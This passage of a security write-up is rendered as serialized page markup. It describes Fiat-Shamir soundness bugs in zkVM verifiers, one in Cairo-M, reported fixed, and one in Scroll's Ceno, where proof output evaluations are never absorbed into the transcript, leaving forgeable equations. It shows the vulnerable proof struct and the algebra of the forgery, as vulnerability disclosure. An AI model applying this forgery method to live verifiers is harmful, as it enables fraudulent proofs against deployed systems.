,[116593],{"type":20,"tag":315,"props":116594,"children":116596},{"className":116595,"style":107190},[2434],[116597],{"type":20,"tag":315,"props":116598,"children":116599},{},[],{"type":20,"tag":315,"props":116601,"children":116603},{"className":116602},[20121,2452],[116604],{"type":26,"value":1049},{"type":20,"tag":315,"props":116606,"children":116608},{"className":116607},[2403,26,2452],[116609],{"type":20,"tag":315,"props":116610,"children":116612},{"className":116611},[2403,2452],[116613],{"type":26,"value":59929},{"type":20,"tag":315,"props":116615,"children":116617},{"className":116616,"style":91305},[2403,2452],[116618],{"type":26,"value":1463},{"type":20,"tag":315,"props":116620,"children":116622},{"className":116621},[2403,26,2452],[116623],{"type":20,"tag":315,"props":116624,"children":116626},{"className":116625},[2403,2452],[116627],{"type":26,"value":2085},{"type":20,"tag":315,"props":116629,"children":116631},{"className":116630},[20143,2452],[116632],{"type":26,"value":116633},")⟩",{"type":20,"tag":315,"props":116635,"children":116637},{"className":116636},[2489,2452],[116638],{"type":26,"value":817},{"type":20,"tag":315,"props":116640,"children":116642},{"className":116641,"style":113448},[2403,19992,2452],[116643],{"type":26,"value":113451},{"type":20,"tag":315,"props":116645,"children":116646},{"style":111878},[116647,116651],{"type":20,"tag":315,"props":116648,"children":116650},{"className":116649,"style":110476},[2443],[],{"type":20,"tag":315,"props":116652,"children":116654},{"className":116653,"style":111888},[111887],[],{"type":20,"tag":315,"props":116656,"children":116657},{"style":111892},[116658,116662],{"type":20,"tag":315,"props":116659,"children":116661},{"className":116660,"style":110476},[2443],[],{"type":20,"tag":315,"props":116663,"children":116665},{"className":116664},[2449,2450,2451,2452],[116666],{"type":20,"tag":315,"props":116667,"children":116669},{"className":116668},[2403,2452],[116670],{"type":20,"tag":315,"props":116671,"children":116673},{"className":116672},[2403,2452],[116674],{"type":26,"value":2406},{"type":20,"tag":315,"props":116676,"children":116678},{"className":116677},[20149],[116679],{"type":26,"value":20152},{"type":20,"tag":315,"props":116681,"children":116683},{"className":116682},[2429],[116684],{"type":20,"tag":315,"props":116685,"children":116688},{"className":116686,"style":116687},[2434],"height:0.562em;",[116689],{"type":20,"tag":315,"props":116690,"children":116691},{},[],{"type":20,"tag":315,"props":116693,"children":116695},{"className":116694},[20143,111823],[],{"type":20,"tag":315,"props":116697,"children":116699},{"className":116698},[2403],[116700],{"type":26,"value":61},{"type":20,"tag":29,"props":116702,"children":116703},{},[116704,116706],{"type":26,"value":116705},"The global check is then that ",{"type":20,"tag":119,"props":116707,"children":116709},{"className":116708},[2375,2376],[116710],{"type":20,"tag":315,"props":116711,"children":116713},{"className":116712},[2381],[116714],{"type":20,"tag":315,"props":116715,"children":116717},{"className":116716,"ariaHidden":2387},[2386],[116718,116759,116790],{"type":20,"tag":315,"props":116719,"children":116721},{"className":116720},[2392],[116722,116726,116731,116736,116741,116746,116750,116755],{"type":20,"tag":315,"props":116723,"children":116725},{"className":116724,"style":2504},[2397],[],{"type":20,"tag":315,"props":116727,"children":116729},{"className":116728},[2403,19992],[116730],{"type":26,"value":116269},{"type":20,"tag":315,"props":116732,"children":116734},{"className":116733},[20121],[116735],{"type":26,"value":1049},{"type":20,"tag":315,"props":116737,"children":116739},{"className":116738},[2403,19992],[116740],{"type":26,"value":29},{"type":20,"tag":315,"props":116742,"children":116744},{"className":116743},[20143],[116745],{"type":26,"value":1509},{"type":20,"tag":315,"props":116747,"children":116749},{"className":116748,"style":2484},[2483],[],{"type":20,"tag":315,"props":116751,"children":116753},{"className":116752},[2489],[116754],{"type":26,"value":817},{"type":20,"tag":315,"props":116756,"children":116758},{"className":116757,"style":2484},[2483],[],{"type":20,"tag":315,"props":116760,"children":116762},{"className":116761},[2392],[116763,116767,116777,116781,116786],{"type":20,"tag":315,"props":116764,"children":116766},{"className":116765,"style":2504},[2397],[],{"type":20,"tag":315,"props":116768,"children":116770},{"className":116769},[2403,26],[116771],{"type":20,"tag":315,"props":116772,"children":116774},{"className":116773},[2403],[116775],{"type":26,"value":116776},"(other terms)",{"type":20,"tag":315,"props":116778,"children":116780},{"className":116779,"style":2581},[2483],[],{"type":20,"tag":315,"props":116782,"children":116784},{"className":116783},[2586],[116785],{"type":26,"value":337},{"type":20,"tag":315,"props":116787,"children":116789},{"className":116788,"style":2581},[2483],[],{"type":20,"tag":315,"props":116791,"children":116793},{"className":116792},[2392],[116794,116798],{"type":20,"tag":315,"props":116795,"children":116797},{"className":116796,"style":92336},[2397],[],{"type":20,"tag":315,"props":116799,"children":116801},{"className":116800},[2403],[116802],{"type":26,"value":1063},{"type":20,"tag":29,"props":116804,"children":116805},{},[116806],{"type":26,"value":116807},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":20,"tag":29,"props":116809,"children":116810},{},[116811],{"type":26,"value":116812},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":20,"tag":29,"props":116814,"children":116815},{},[116816,116820,116822],{"type":20,"tag":3717,"props":116817,"children":116818},{},[116819],{"type":26,"value":115015},{"type":26,"value":116821}," Fixed on October 31, 2025 via ",{"type":20,"tag":35,"props":116823,"children":116826},{"href":116824,"rel":116825},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[39],[116827],{"type":26,"value":116828},"commit 92b6740",{"type":20,"tag":17197,"props":116830,"children":116831},{},[],{"type":20,"tag":219,"props":116833,"children":116835},{"id":116834},"ceno-scroll",[116836],{"type":26,"value":116837},"Ceno (Scroll)",{"type":20,"tag":29,"props":116839,"children":116840},{},[116841],{"type":26,"value":116842},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":20,"tag":29,"props":116844,"children":116845},{},[116846,116848,116853],{"type":26,"value":116847},"Ceno splits verification into ",{"type":20,"tag":3717,"props":116849,"children":116850},{},[116851],{"type":26,"value":116852},"chips",{"type":26,"value":116854},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":20,"tag":29,"props":116856,"children":116857},{},[116858,116860,116865],{"type":26,"value":116859},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":20,"tag":3717,"props":116861,"children":116862},{},[116863],{"type":26,"value":116864},"tower sumcheck",{"type":26,"value":61},{"type":20,"tag":29,"props":116867,"children":116868},{},[116869],{"type":26,"value":116870},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":20,"tag":29,"props":116872,"children":116873},{},[116874],{"type":20,"tag":119,"props":116875,"children":116877},{"className":116876},[2375,2376],[116878],{"type":20,"tag":315,"props":116879,"children":116881},{"className":116880},[2381],[116882],{"type":20,"tag":315,"props":116883,"children":116885},{"className":116884,"ariaHidden":2387},[2386],[116886,117060,117233],{"type":20,"tag":315,"props":116887,"children":116889},{"className":116888},[2392],[116890,116894,116952,116956,116965,116970,116980,116985,117047,117051,117056],{"type":20,"tag":315,"props":116891,"children":116893},{"className":116892,"style":91247},[2397],[],{"type":20,"tag":315,"props":116895,"children":116897},{"className":116896},[20028],[116898,116904],{"type":20,"tag":315,"props":116899,"children":116901},{"className":116900,"style":20035},[20028,20033,20034],[116902],{"type":26,"value":116903},"∏",{"type":20,"tag":315,"props":116905,"children":116907},{"className":116906},[2419],[116908],{"type":20,"tag":315,"props":116909,"children":116911},{"className":116910},[2424,20046],[116912,116941],{"type":20,"tag":315,"props":116913,"children":116915},{"className":116914},[2429],[116916,116936],{"type":20,"tag":315,"props":116917,"children":116919},{"className":116918,"style":112512},[2434],[116920],{"type":20,"tag":315,"props":116921,"children":116922},{"style":20059},[116923,116927],{"type":20,"tag":315,"props":116924,"children":116926},{"className":116925,"style":2444},[2443],[],{"type":20,"tag":315,"props":116928,"children":116930},{"className":116929},[2449,2450,2451,2452],[116931],{"type":20,"tag":315,"props":116932,"children":116934},{"className":116933},[2403,19992,2452],[116935],{"type":26,"value":2122},{"type":20,"tag":315,"props":116937,"children":116939},{"className":116938},[20149],[116940],{"type":26,"value":20152},{"type":20,"tag":315,"props":116942,"children":116944},{"className":116943},[2429],[116945],{"type":20,"tag":315,"props":116946,"children":116948},{"className":116947,"style":112792},[2434],[116949],{"type":20,"tag":315,"props":116950,"children":116951},{},[],{"type":20,"tag":315,"props":116953,"children":116955},{"className":116954,"style":2522},[2483],[],{"type":20,"tag":315,"props":116957,"children":116959},{"className":116958},[2403,26],[116960],{"type":20,"tag":315,"props":116961,"children":116963},{"className":116962},[2403],[116964],{"type":26,"value":92124},{"type":20,"tag":315,"props":116966,"children":116968},{"className":116967,"style":91305},[2403],[116969],{"type":26,"value":1463},{"type":20,"tag":315,"props":116971,"children":116973},{"className":116972},[2403,26],[116974],{"type":20,"tag":315,"props":116975,"children":116977},{"className":116976},[2403],[116978],{"type":26,"value":116979},"out",{"type":20,"tag":315,"props":116981,"children":116983},{"className":116982,"style":91305},[2403],[116984],{"type":26,"value":1463},{"type":20,"tag":315,"props":116986,"children":116988},{"className":116987},[2403],[116989,116999],{"type":20,"tag":315,"props":116990,"children":116992},{"className":116991},[2403,26],[116993],{"type":20,"tag":315,"props":116994,"children":116996},{"className":116995},[2403],[116997],{"type":26,"value":116998},"evals",{"type":20,"tag":315,"props":117000,"children":117002},{"className":117001},[2419],[117003],{"type":20,"tag":315,"props":117004,"children":117006},{"className":117005},[2424,20046],[117007,117036],{"type":20,"tag":315,"props":117008,"children":117010},{"className":117009},[2429],[117011,117031],{"type":20,"tag":315,"props":117012,"children":117014},{"className":117013,"style":91834},[2434],[117015],{"type":20,"tag":315,"props":117016,"children":117017},{"style":112435},[117018,117022],{"type":20,"tag":315,"props":117019,"children":117021},{"className":117020,"style":2444},[2443],[],{"type":20,"tag":315,"props":117023,"children":117025},{"className":117024},[2449,2450,2451,2452],[117026],{"type":20,"tag":315,"props":117027,"children":117029},{"className":117028},[2403,19992,2452],[117030],{"type":26,"value":2122},{"type":20,"tag":315,"props":117032,"children":117034},{"className":117033},[20149],[117035],{"type":26,"value":20152},{"type":20,"tag":315,"props":117037,"children":117039},{"className":117038},[2429],[117040],{"type":20,"tag":315,"props":117041,"children":117043},{"className":117042,"style":91388},[2434],[117044],{"type":20,"tag":315,"props":117045,"children":117046},{},[],{"type":20,"tag":315,"props":117048,"children":117050},{"className":117049,"style":2581},[2483],[],{"type":20,"tag":315,"props":117052,"children":117054},{"className":117053},[2586],[117055],{"type":26,"value":337},{"type":20,"tag":315,"props":117057,"children":117059},{"className":117058,"style":2581},[2483],[],{"type":20,"tag":315,"props":117061,"children":117063},{"className":117062},[2392],[117064,117069,117126,117130,117139,117144,117153,117158,117220,117224,117229],{"type":20,"tag":315,"props":117065,"children":117068},{"className":117066,"style":117067},[2397],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":20,"tag":315,"props":117070,"children":117072},{"className":117071},[20028],[117073,117078],{"type":20,"tag":315,"props":117074,"children":117076},{"className":117075,"style":20035},[20028,20033,20034],[117077],{"type":26,"value":116903},{"type":20,"tag":315,"props":117079,"children":117081},{"className":117080},[2419],[117082],{"type":20,"tag":315,"props":117083,"children":117085},{"className":117084},[2424,20046],[117086,117115],{"type":20,"tag":315,"props":117087,"children":117089},{"className":117088},[2429],[117090,117110],{"type":20,"tag":315,"props":117091,"children":117093},{"className":117092,"style":112512},[2434],[117094],{"type":20,"tag":315,"props":117095,"children":117096},{"style":20059},[117097,117101],{"type":20,"tag":315,"props":117098,"children":117100},{"className":117099,"style":2444},[2443],[],{"type":20,"tag":315,"props":117102,"children":117104},{"className":117103},[2449,2450,2451,2452],[117105],{"type":20,"tag":315,"props":117106,"children":117108},{"className":117107,"style":112528},[2403,19992,2452],[117109],{"type":26,"value":7052},{"type":20,"tag":315,"props":117111,"children":117113},{"className":117112},[20149],[117114],{"type":26,"value":20152},{"type":20,"tag":315,"props":117116,"children":117118},{"className":117117},[2429],[117119],{"type":20,"tag":315,"props":117120,"children":117122},{"className":117121,"style":112543},[2434],[117123],{"type":20,"tag":315,"props":117124,"children":117125},{},[],{"type":20,"tag":315,"props":117127,"children":117129},{"className":117128,"style":2522},[2483],[],{"type":20,"tag":315,"props":117131,"children":117133},{"className":117132},[2403,26],[117134],{"type":20,"tag":315,"props":117135,"children":117137},{"className":117136},[2403],[117138],{"type":26,"value":47823},{"type":20,"tag":315,"props":117140,"children":117142},{"className":117141,"style":91305},[2403],[117143],{"type":26,"value":1463},{"type":20,"tag":315,"props":117145,"children":117147},{"className":117146},[2403,26],[117148],{"type":20,"tag":315,"props":117149,"children":117151},{"className":117150},[2403],[117152],{"type":26,"value":116979},{"type":20,"tag":315,"props":117154,"children":117156},{"className":117155,"style":91305},[2403],[117157],{"type":26,"value":1463},{"type":20,"tag":315,"props":117159,"children":117161},{"className":117160},[2403],[117162,117171],{"type":20,"tag":315,"props":117163,"children":117165},{"className":117164},[2403,26],[117166],{"type":20,"tag":315,"props":117167,"children":117169},{"className":117168},[2403],[117170],{"type":26,"value":116998},{"type":20,"tag":315,"props":117172,"children":117174},{"className":117173},[2419],[117175],{"type":20,"tag":315,"props":117176,"children":117178},{"className":117177},[2424,20046],[117179,117208],{"type":20,"tag":315,"props":117180,"children":117182},{"className":117181},[2429],[117183,117203],{"type":20,"tag":315,"props":117184,"children":117186},{"className":117185,"style":91834},[2434],[117187],{"type":20,"tag":315,"props":117188,"children":117189},{"style":112435},[117190,117194],{"type":20,"tag":315,"props":117191,"children":117193},{"className":117192,"style":2444},[2443],[],{"type":20,"tag":315,"props":117195,"children":117197},{"className":117196},[2449,2450,2451,2452],[117198],{"type":20,"tag":315,"props":117199,"children":117201},{"className":117200,"style":112528},[2403,19992,2452],[117202],{"type":26,"value":7052},{"type":20,"tag":315,"props":117204,"children":117206},{"className":117205},[20149],[117207],{"type":26,"value":20152},{"type":20,"tag":315,"props":117209,"children":117211},{"className":117210},[2429],[117212],{"type":20,"tag":315,"props":117213,"children":117216},{"className":117214,"style":117215},[2434],"height:0.2861em;",[117217],{"type":20,"tag":315,"props":117218,"children":117219},{},[],{"type":20,"tag":315,"props":117221,"children":117223},{"className":117222,"style":2484},[2483],[],{"type":20,"tag":315,"props":117225,"children":117227},{"className":117226},[2489],[117228],{"type":26,"value":109567},{"type":20,"tag":315,"props":117230,"children":117232},{"className":117231,"style":2484},[2483],[],{"type":20,"tag":315,"props":117234,"children":117236},{"className":117235},[2392],[117237,117241,117246,117256],{"type":20,"tag":315,"props":117238,"children":117240},{"className":117239,"style":2504},[2397],[],{"type":20,"tag":315,"props":117242,"children":117244},{"className":117243},[20121],[117245],{"type":26,"value":1049},{"type":20,"tag":315,"props":117247,"children":117249},{"className":117248},[2403,26],[117250],{"type":20,"tag":315,"props":117251,"children":117253},{"className":117252},[2403],[117254],{"type":26,"value":117255},"state factors",{"type":20,"tag":315,"props":117257,"children":117259},{"className":117258},[20143],[117260],{"type":26,"value":1509},{"type":20,"tag":29,"props":117262,"children":117263},{},[117264],{"type":20,"tag":3717,"props":117265,"children":117266},{},[117267],{"type":26,"value":113721},{"type":20,"tag":305,"props":117269,"children":117271},{"code":117270},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[117272],{"type":20,"tag":119,"props":117273,"children":117274},{"__ignoreMap":7},[117275],{"type":26,"value":117270},{"type":20,"tag":29,"props":117277,"children":117278},{},[117279,117285,117286,117292,117293,117299],{"type":20,"tag":119,"props":117280,"children":117282},{"className":117281},[],[117283],{"type":26,"value":117284},"r_out_evals",{"type":26,"value":44},{"type":20,"tag":119,"props":117287,"children":117289},{"className":117288},[],[117290],{"type":26,"value":117291},"w_out_evals",{"type":26,"value":4882},{"type":20,"tag":119,"props":117294,"children":117296},{"className":117295},[],[117297],{"type":26,"value":117298},"lk_out_evals",{"type":26,"value":117300}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":20,"tag":68,"props":117302,"children":117303},{},[117304],{"type":20,"tag":72,"props":117305,"children":117306},{},[117307,117312,117314,117320],{"type":20,"tag":3717,"props":117308,"children":117309},{},[117310],{"type":26,"value":117311},"GKR/Tower equation",{"type":26,"value":117313}," (linear in ",{"type":20,"tag":119,"props":117315,"children":117317},{"className":117316},[],[117318],{"type":26,"value":117319},"out_evals",{"type":26,"value":22362},{"type":20,"tag":29,"props":117322,"children":117323},{},[117324,117326],{"type":26,"value":117325},"The tower sumcheck claim is ",{"type":20,"tag":119,"props":117327,"children":117329},{"className":117328},[2375,2376],[117330],{"type":20,"tag":315,"props":117331,"children":117333},{"className":117332},[2381],[117334],{"type":20,"tag":315,"props":117335,"children":117337},{"className":117336,"ariaHidden":2387},[2386],[117338,117369,117494],{"type":20,"tag":315,"props":117339,"children":117341},{"className":117340},[2392],[117342,117346,117356,117360,117365],{"type":20,"tag":315,"props":117343,"children":117345},{"className":117344,"style":91220},[2397],[],{"type":20,"tag":315,"props":117347,"children":117349},{"className":117348},[2403,26],[117350],{"type":20,"tag":315,"props":117351,"children":117353},{"className":117352},[2403],[117354],{"type":26,"value":117355},"claim",{"type":20,"tag":315,"props":117357,"children":117359},{"className":117358,"style":2581},[2483],[],{"type":20,"tag":315,"props":117361,"children":117363},{"className":117362},[2586],[117364],{"type":26,"value":337},{"type":20,"tag":315,"props":117366,"children":117368},{"className":117367,"style":2581},[2483],[],{"type":20,"tag":315,"props":117370,"children":117372},{"className":117371},[2392],[117373,117378,117435,117439,117481,117485,117490],{"type":20,"tag":315,"props":117374,"children":117377},{"className":117375,"style":117376},[2397],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":20,"tag":315,"props":117379,"children":117381},{"className":117380},[20028],[117382,117387],{"type":20,"tag":315,"props":117383,"children":117385},{"className":117384,"style":20035},[20028,20033,20034],[117386],{"type":26,"value":107100},{"type":20,"tag":315,"props":117388,"children":117390},{"className":117389},[2419],[117391],{"type":20,"tag":315,"props":117392,"children":117394},{"className":117393},[2424,20046],[117395,117424],{"type":20,"tag":315,"props":117396,"children":117398},{"className":117397},[2429],[117399,117419],{"type":20,"tag":315,"props":117400,"children":117402},{"className":117401,"style":112512},[2434],[117403],{"type":20,"tag":315,"props":117404,"children":117405},{"style":20059},[117406,117410],{"type":20,"tag":315,"props":117407,"children":117409},{"className":117408,"style":2444},[2443],[],{"type":20,"tag":315,"props":117411,"children":117413},{"className":117412},[2449,2450,2451,2452],[117414],{"type":20,"tag":315,"props":117415,"children":117417},{"className":117416,"style":112528},[2403,19992,2452],[117418],{"type":26,"value":7052},{"type":20,"tag":315,"props":117420,"children":117422},{"className":117421},[20149],[117423],{"type":26,"value":20152},{"type":20,"tag":315,"props":117425,"children":117427},{"className":117426},[2429],[117428],{"type":20,"tag":315,"props":117429,"children":117431},{"className":117430,"style":112543},[2434],[117432],{"type":20,"tag":315,"props":117433,"children":117434},{},[],{"type":20,"tag":315,"props":117436,"children":117438},{"className":117437,"style":2522},[2483],[],{"type":20,"tag":315,"props":117440,"children":117442},{"className":117441},[2403],[117443,117448],{"type":20,"tag":315,"props":117444,"children":117446},{"className":117445,"style":113393},[2403,19992],[117447],{"type":26,"value":113396},{"type":20,"tag":315,"props":117449,"children":117451},{"className":117450},[2419],[117452],{"type":20,"tag":315,"props":117453,"children":117455},{"className":117454},[2424],[117456],{"type":20,"tag":315,"props":117457,"children":117459},{"className":117458},[2429],[117460],{"type":20,"tag":315,"props":117461,"children":117464},{"className":117462,"style":117463},[2434],"height:0.8247em;",[117465],{"type":20,"tag":315,"props":117466,"children":117467},{"style":2438},[117468,117472],{"type":20,"tag":315,"props":117469,"children":117471},{"className":117470,"style":2444},[2443],[],{"type":20,"tag":315,"props":117473,"children":117475},{"className":117474},[2449,2450,2451,2452],[117476],{"type":20,"tag":315,"props":117477,"children":117479},{"className":117478,"style":112528},[2403,19992,2452],[117480],{"type":26,"value":7052},{"type":20,"tag":315,"props":117482,"children":117484},{"className":117483,"style":2484},[2483],[],{"type":20,"tag":315,"props":117486,"children":117488},{"className":117487},[2489],[117489],{"type":26,"value":109567},{"type":20,"tag":315,"props":117491,"children":117493},{"className":117492,"style":2484},[2483],[],{"type":20,"tag":315,"props":117495,"children":117497},{"className":117496},[2392],[117498,117502,117511,117516],{"type":20,"tag":315,"props":117499,"children":117501},{"className":117500,"style":92718},[2397],[],{"type":20,"tag":315,"props":117503,"children":117505},{"className":117504},[2403,26],[117506],{"type":20,"tag":315,"props":117507,"children":117509},{"className":117508},[2403],[117510],{"type":26,"value":116979},{"type":20,"tag":315,"props":117512,"children":117514},{"className":117513,"style":91305},[2403],[117515],{"type":26,"value":1463},{"type":20,"tag":315,"props":117517,"children":117519},{"className":117518},[2403],[117520,117529],{"type":20,"tag":315,"props":117521,"children":117523},{"className":117522},[2403,26],[117524],{"type":20,"tag":315,"props":117525,"children":117527},{"className":117526},[2403],[117528],{"type":26,"value":116998},{"type":20,"tag":315,"props":117530,"children":117532},{"className":117531},[2419],[117533],{"type":20,"tag":315,"props":117534,"children":117536},{"className":117535},[2424,20046],[117537,117566],{"type":20,"tag":315,"props":117538,"children":117540},{"className":117539},[2429],[117541,117561],{"type":20,"tag":315,"props":117542,"children":117544},{"className":117543,"style":91834},[2434],[117545],{"type":20,"tag":315,"props":117546,"children":117547},{"style":112435},[117548,117552],{"type":20,"tag":315,"props":117549,"children":117551},{"className":117550,"style":2444},[2443],[],{"type":20,"tag":315,"props":117553,"children":117555},{"className":117554},[2449,2450,2451,2452],[117556],{"type":20,"tag":315,"props":117557,"children":117559},{"className":117558,"style":112528},[2403,19992,2452],[117560],{"type":26,"value":7052},{"type":20,"tag":315,"props":117562,"children":117564},{"className":117563},[20149],[117565],{"type":26,"value":20152},{"type":20,"tag":315,"props":117567,"children":117569},{"className":117568},[2429],[117570],{"type":20,"tag":315,"props":117571,"children":117573},{"className":117572,"style":117215},[2434],[117574],{"type":20,"tag":315,"props":117575,"children":117576},{},[],{"type":20,"tag":29,"props":117578,"children":117579},{},[117580,117582,117587],{"type":26,"value":117581},"This check is linear in ",{"type":20,"tag":119,"props":117583,"children":117585},{"className":117584},[],[117586],{"type":26,"value":117319},{"type":26,"value":61},{"type":20,"tag":68,"props":117589,"children":117590},{"start":356},[117591],{"type":20,"tag":72,"props":117592,"children":117593},{},[117594,117599,117601,117606],{"type":20,"tag":3717,"props":117595,"children":117596},{},[117597],{"type":26,"value":117598},"rw-product consistency",{"type":26,"value":117600}," (bilinear in ",{"type":20,"tag":119,"props":117602,"children":117604},{"className":117603},[],[117605],{"type":26,"value":117319},{"type":26,"value":22362},{"type":20,"tag":29,"props":117608,"children":117609},{},[117610],{"type":20,"tag":119,"props":117611,"children":117613},{"className":117612},[2375,2376],[117614],{"type":20,"tag":315,"props":117615,"children":117617},{"className":117616},[2381],[117618],{"type":20,"tag":315,"props":117619,"children":117621},{"className":117620,"ariaHidden":2387},[2386],[117622,117793,117964],{"type":20,"tag":315,"props":117623,"children":117625},{"className":117624},[2392],[117626,117630,117687,117691,117700,117705,117714,117719,117780,117784,117789],{"type":20,"tag":315,"props":117627,"children":117629},{"className":117628,"style":91247},[2397],[],{"type":20,"tag":315,"props":117631,"children":117633},{"className":117632},[20028],[117634,117639],{"type":20,"tag":315,"props":117635,"children":117637},{"className":117636,"style":20035},[20028,20033,20034],[117638],{"type":26,"value":116903},{"type":20,"tag":315,"props":117640,"children":117642},{"className":117641},[2419],[117643],{"type":20,"tag":315,"props":117644,"children":117646},{"className":117645},[2424,20046],[117647,117676],{"type":20,"tag":315,"props":117648,"children":117650},{"className":117649},[2429],[117651,117671],{"type":20,"tag":315,"props":117652,"children":117654},{"className":117653,"style":112512},[2434],[117655],{"type":20,"tag":315,"props":117656,"children":117657},{"style":20059},[117658,117662],{"type":20,"tag":315,"props":117659,"children":117661},{"className":117660,"style":2444},[2443],[],{"type":20,"tag":315,"props":117663,"children":117665},{"className":117664},[2449,2450,2451,2452],[117666],{"type":20,"tag":315,"props":117667,"children":117669},{"className":117668},[2403,19992,2452],[117670],{"type":26,"value":2122},{"type":20,"tag":315,"props":117672,"children":117674},{"className":117673},[20149],[117675],{"type":26,"value":20152},{"type":20,"tag":315,"props":117677,"children":117679},{"className":117678},[2429],[117680],{"type":20,"tag":315,"props":117681,"children":117683},{"className":117682,"style":112792},[2434],[117684],{"type":20,"tag":315,"props":117685,"children":117686},{},[],{"type":20,"tag":315,"props":117688,"children":117690},{"className":117689,"style":2522},[2483],[],{"type":20,"tag":315,"props":117692,"children":117694},{"className":117693},[2403,26],[117695],{"type":20,"tag":315,"props":117696,"children":117698},{"className":117697},[2403],[117699],{"type":26,"value":92124},{"type":20,"tag":315,"props":117701,"children":117703},{"className":117702,"style":91305},[2403],[117704],{"type":26,"value":1463},{"type":20,"tag":315,"props":117706,"children":117708},{"className":117707},[2403,26],[117709],{"type":20,"tag":315,"props":117710,"children":117712},{"className":117711},[2403],[117713],{"type":26,"value":116979},{"type":20,"tag":315,"props":117715,"children":117717},{"className":117716,"style":91305},[2403],[117718],{"type":26,"value":1463},{"type":20,"tag":315,"props":117720,"children":117722},{"className":117721},[2403],[117723,117732],{"type":20,"tag":315,"props":117724,"children":117726},{"className":117725},[2403,26],[117727],{"type":20,"tag":315,"props":117728,"children":117730},{"className":117729},[2403],[117731],{"type":26,"value":116998},{"type":20,"tag":315,"props":117733,"children":117735},{"className":117734},[2419],[117736],{"type":20,"tag":315,"props":117737,"children":117739},{"className":117738},[2424,20046],[117740,117769],{"type":20,"tag":315,"props":117741,"children":117743},{"className":117742},[2429],[117744,117764],{"type":20,"tag":315,"props":117745,"children":117747},{"className":117746,"style":91834},[2434],[117748],{"type":20,"tag":315,"props":117749,"children":117750},{"style":112435},[117751,117755],{"type":20,"tag":315,"props":117752,"children":117754},{"className":117753,"style":2444},[2443],[],{"type":20,"tag":315,"props":117756,"children":117758},{"className":117757},[2449,2450,2451,2452],[117759],{"type":20,"tag":315,"props":117760,"children":117762},{"className":117761},[2403,19992,2452],[117763],{"type":26,"value":2122},{"type":20,"tag":315,"props":117765,"children":117767},{"className":117766},[20149],[117768],{"type":26,"value":20152},{"type":20,"tag":315,"props":117770,"children":117772},{"className":117771},[2429],[117773],{"type":20,"tag":315,"props":117774,"children":117776},{"className":117775,"style":91388},[2434],[117777],{"type":20,"tag":315,"props":117778,"children":117779},{},[],{"type":20,"tag":315,"props":117781,"children":117783},{"className":117782,"style":2581},[2483],[],{"type":20,"tag":315,"props":117785,"children":117787},{"className":117786},[2586],[117788],{"type":26,"value":337},{"type":20,"tag":315,"props":117790,"children":117792},{"className":117791,"style":2581},[2483],[],{"type":20,"tag":315,"props":117794,"children":117796},{"className":117795},[2392],[117797,117801,117858,117862,117871,117876,117885,117890,117951,117955,117960],{"type":20,"tag":315,"props":117798,"children":117800},{"className":117799,"style":117067},[2397],[],{"type":20,"tag":315,"props":117802,"children":117804},{"className":117803},[20028],[117805,117810],{"type":20,"tag":315,"props":117806,"children":117808},{"className":117807,"style":20035},[20028,20033,20034],[117809],{"type":26,"value":116903},{"type":20,"tag":315,"props":117811,"children":117813},{"className":117812},[2419],[117814],{"type":20,"tag":315,"props":117815,"children":117817},{"className":117816},[2424,20046],[117818,117847],{"type":20,"tag":315,"props":117819,"children":117821},{"className":117820},[2429],[117822,117842],{"type":20,"tag":315,"props":117823,"children":117825},{"className":117824,"style":112512},[2434],[117826],{"type":20,"tag":315,"props":117827,"children":117828},{"style":20059},[117829,117833],{"type":20,"tag":315,"props":117830,"children":117832},{"className":117831,"style":2444},[2443],[],{"type":20,"tag":315,"props":117834,"children":117836},{"className":117835},[2449,2450,2451,2452],[117837],{"type":20,"tag":315,"props":117838,"children":117840},{"className":117839,"style":112528},[2403,19992,2452],[117841],{"type":26,"value":7052},{"type":20,"tag":315,"props":117843,"children":117845},{"className":117844},[20149],[117846],{"type":26,"value":20152},{"type":20,"tag":315,"props":117848,"children":117850},{"className":117849},[2429],[117851],{"type":20,"tag":315,"props":117852,"children":117854},{"className":117853,"style":112543},[2434],[117855],{"type":20,"tag":315,"props":117856,"children":117857},{},[],{"type":20,"tag":315,"props":117859,"children":117861},{"className":117860,"style":2522},[2483],[],{"type":20,"tag":315,"props":117863,"children":117865},{"className":117864},[2403,26],[117866],{"type":20,"tag":315,"props":117867,"children":117869},{"className":117868},[2403],[117870],{"type":26,"value":47823},{"type":20,"tag":315,"props":117872,"children":117874},{"className":117873,"style":91305},[2403],[117875],{"type":26,"value":1463},{"type":20,"tag":315,"props":117877,"children":117879},{"className":117878},[2403,26],[117880],{"type":20,"tag":315,"props":117881,"children":117883},{"className":117882},[2403],[117884],{"type":26,"value":116979},{"type":20,"tag":315,"props":117886,"children":117888},{"className":117887,"style":91305},[2403],[117889],{"type":26,"value":1463},{"type":20,"tag":315,"props":117891,"children":117893},{"className":117892},[2403],[117894,117903],{"type":20,"tag":315,"props":117895,"children":117897},{"className":117896},[2403,26],[117898],{"type":20,"tag":315,"props":117899,"children":117901},{"className":117900},[2403],[117902],{"type":26,"value":116998},{"type":20,"tag":315,"props":117904,"children":117906},{"className":117905},[2419],[117907],{"type":20,"tag":315,"props":117908,"children":117910},{"className":117909},[2424,20046],[117911,117940],{"type":20,"tag":315,"props":117912,"children":117914},{"className":117913},[2429],[117915,117935],{"type":20,"tag":315,"props":117916,"children":117918},{"className":117917,"style":91834},[2434],[117919],{"type":20,"tag":315,"props":117920,"children":117921},{"style":112435},[117922,117926],{"type":20,"tag":315,"props":117923,"children":117925},{"className":117924,"style":2444},[2443],[],{"type":20,"tag":315,"props":117927,"children":117929},{"className":117928},[2449,2450,2451,2452],[